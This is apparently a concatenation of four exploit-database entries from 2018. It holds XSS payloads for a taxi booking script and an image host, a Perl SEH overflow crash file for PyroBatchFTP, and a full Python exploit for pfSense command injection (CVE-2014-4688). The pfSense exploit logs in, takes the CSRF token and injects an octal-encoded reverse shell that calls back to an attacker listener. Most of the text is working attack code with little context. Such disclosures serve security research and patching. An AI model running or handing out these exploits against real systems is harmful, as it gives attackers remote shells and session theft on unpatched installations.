The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails,
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals.
# # # # #
# Exploit Title: Taxi Booking Script v1.0 - Cross-site Scripting (XSS)
# Date: 11.01.2018
# Vendor Homepage: https://www.phpjabbers.com/taxi-booking-script/
# Software Link:
# Demo: http://demo.phpjabbers.com/1515648238_792/index.php?controller=pjAdminUsers&action=pjActionIndex&err=AU01
# Version: 1.0
# Category: Webapps
# Tested on: Windows 10
# CVE: N/A
# # # # #
# Exploit Author: Tauco
Description:
===========================================================================
The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash, or any other type of code that the browser may execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data, like cookies or other session information, to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.
POC:
Exploit code(s):
===============
Persistent XSS:
1. user_update=1&id=2&role_id=1&email=admin%40a.com&password=1231231&name=<script>window.location='https://www.google.com/search?q=xss'</script>&phone=123131&status=T
2. booking_update=1&id=3&tab_id=tabs-1&uuid=<script>window.location='https://www.google.com/search?q=xss'</script>&booking_date=11-01-2018 13:06&pickup_address=<script>window.location='https://www.google.com/search?q=xss'</script>&return_address=Santa Fe 1236, Rosario, Santa Fe Province, Argentina&distance=123&fleet_id=1&passengers=1&luggage=1&extra_id[]=1&sub_total=374.40&tax=37.44&total=411.84&deposit=41.18&payment_method=bank&cc_type=&cc_num=&cc_exp_month=&cc_exp_year=&cc_code=&status=cancelled&client_id=5&c_fname=asd&c_lname=asd&c_phone=12&c_email=asda&c_company=dasdasd&c_address=asda&c_city=asdasd&c_state=asdasda&c_zip=1212&c_country=&c_notes=asdad&c_airline_company=adsad&c_flight_number=adsasd&c_flight_time=13:05&c_terminal=1
Severity Level:
=========================================================
High
Description:
==========================================================
Request Method(s): [+] POST & GET
Vulnerable Product: [+] Taxi Booking Script v1.0
Vulnerable Parameter(s): [+] name, uuid, pickup_address
#!/usr/bin/env python3
# Exploit Title: pfSense <= 2.1.3 status_rrd_graph_img.php Command Injection.
# Date: 2018-01-12
# Exploit Author: absolomb
# Vendor Homepage: https://www.pfsense.org/
# Software Link: https://atxfiles.pfsense.org/mirror/downloads/old/
# Version: <=2.1.3
# Tested on: FreeBSD 8.3-RELEASE-p16
# CVE : CVE-2014-4688
import argparse
import requests
import urllib
import urllib3
import collections
'''
pfSense <= 2.1.3 status_rrd_graph_img.php Command Injection.
This script will return a reverse shell on specified listener address and port.
Ensure you have started a listener to catch the shell before running!
'''
parser = argparse.ArgumentParser()
parser.add_argument("--rhost", help = "Remote Host")
parser.add_argument('--lhost', help = 'Local Host listener')
parser.add_argument('--lport', help = 'Local Port listener')
parser.add_argument("--username", help = "pfsense Username")
parser.add_argument("--password", help = "pfsense Password")
args = parser.parse_args()
rhost = args.rhost
lhost = args.lhost
lport = args.lport
username = args.username
password = args.password
# command to be converted into octal
command = """
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("%s",%s));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
""" % (lhost, lport)
payload = ""
# encode payload in octal
for char in command:
payload += ("\\" + oct(ord(char)).lstrip("0o"))
login_url = 'https://' + rhost + '/index.php'
exploit_url = "https://" + rhost + "/status_rrd_graph_img.php?database=queues;"+"printf+" + "'" + payload + "'|sh"
headers = [
('User-Agent','Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0'),
('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'),
('Accept-Language', 'en-US,en;q=0.5'),
('Referer',login_url),
('Connection', 'close'),
('Upgrade-Insecure-Requests', '1'),
('Content-Type', 'application/x-www-form-urlencoded')
]
# probably not necessary but did it anyways
headers = collections.OrderedDict(headers)
# Disable insecure https connection warning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
client = requests.session()
# try to get the login page and grab the csrf token
try:
login_page = client.get(login_url, verify=False)
index = login_page.text.find("csrfMagicToken")
csrf_token = login_page.text[index:index+128].split('"')[-1]
except:
print("Could not connect to host!")
exit()
# format login variables and data
if csrf_token:
print("CSRF token obtained")
login_data = [('__csrf_magic',csrf_token), ('usernamefld',username), ('passwordfld',password), ('login','Login') ]
login_data = collections.OrderedDict(login_data)
encoded_data = urllib.parse.urlencode(login_data)
# POST login request with data, cookies and header
login_request = client.post(login_url, data=encoded_data, cookies=client.cookies, headers=headers)
else:
print("No CSRF token!")
exit()
if login_request.status_code == 200:
print("Running exploit...")
# make GET request to vulnerable url with payload. Probably a better way to do this but if the request times out then most likely you have caught the shell
try:
exploit_request = client.get(exploit_url, cookies=client.cookies, headers=headers, timeout=5)
if exploit_request.status_code:
print("Error running exploit")
except:
print("Exploit completed")
=============================================
MGC ALERT 2018-001
- Original release date: December 22, 2017
- Last revised: January 12, 2018
- Discovered by: Manuel García Cárdenas
- Severity: 7,5/10 (CVSS Base Score)
=============================================
I. VULNERABILITY
-------------------------
PyroBatchFTP <= 3.18 - Local Buffer Overflow (SEH)
II. BACKGROUND
-------------------------
PyroBatchFTP is a Windows software that lets you exchange files with FTP,
FTPS or SFTP servers in an automatic and unattended way, using a simple yet
powerful batch/script language.
III. DESCRIPTION
-------------------------
The Enterprise version of PyroBatchFTP is affected by a Local Buffer
Overflow vulnerability.
The application does not check bounds when reading the file that will
execute the script, resulting in a classic Buffer Overflow overwriting SEH
handler.
To exploit the vulnerability only is needed create a local script to
interact with the application.
IV. PROOF OF CONCEPT
-------------------------
my $file= "crash.cmd";
my $junk= "A" x 2052;
my $nseh = "BBBB";
my $seh = "CCCC";
open($FILE,">$file");
print $FILE $junk.$nseh.$seh;
close($FILE);
print "File Created successfully\n";
V. BUSINESS IMPACT
-------------------------
Availability compromise can result from these attacks.
VI. SYSTEMS AFFECTED
-------------------------
PyroBatchFTP <= 3.18
VII. SOLUTION
-------------------------
Vendor release 3.19 version
http://www.emtec.com/downloads/pyrobatchftp/pyrobatchftp319_changes.txt
VIII. REFERENCES
-------------------------
https://www.emtec.com/pyrobatchftp/index.html
IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).
X. REVISION HISTORY
-------------------------
December 22, 2017 1: Initial release
January 12, 2018 2: Revision to send to lists
XI. DISCLOSURE TIMELINE
-------------------------
December 22, 2017 1: Vulnerability acquired by Manuel Garcia Cardenas
December 22, 2017 2: Send to vendor
January 12, 2018 3: Vendor fix the vulnerability and release a new version
January 12, 2018 4: Send to the Full-Disclosure lists
XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester
# Exploit Title: ImgHosting Image Storage System 1.5 - Cross-Site-Scripting
# Date: 12-01-2018
# Exploit Author: Dennis Veninga
# Contact Author: d.veninga [at] networking4all.com
# Vendor Homepage: foxsash.com
# Version: 1.5
# CVE-ID: CVE-2018-5479
ImgHosting – Image Storage System quick and easy image hosting without
registration. Service is ideal for fast and reliable placement of images
for forums, blogs and websites. Simple design, comfortable customers,
direct links to pictures. This hosting service that we do every day use.
Like thousands of other people. We do service to the people.
ImgHosting 1.5 (According footer information) is vulnerable to XSS attacks.
The affected function is its search engine. Since there is an user/admin
login interface, it's possible for attackers to steal sessions of users and
thus admin(s). By sending users an infected URL, code will be executed.
---------------------------
---------------------------
PoC:
http://{TARGET}/?search="><script>confirm(document.domain)<%2Fscript>
---------------------------
---------------------------
Evil javascript code can be inserted and will be executed when visiting the link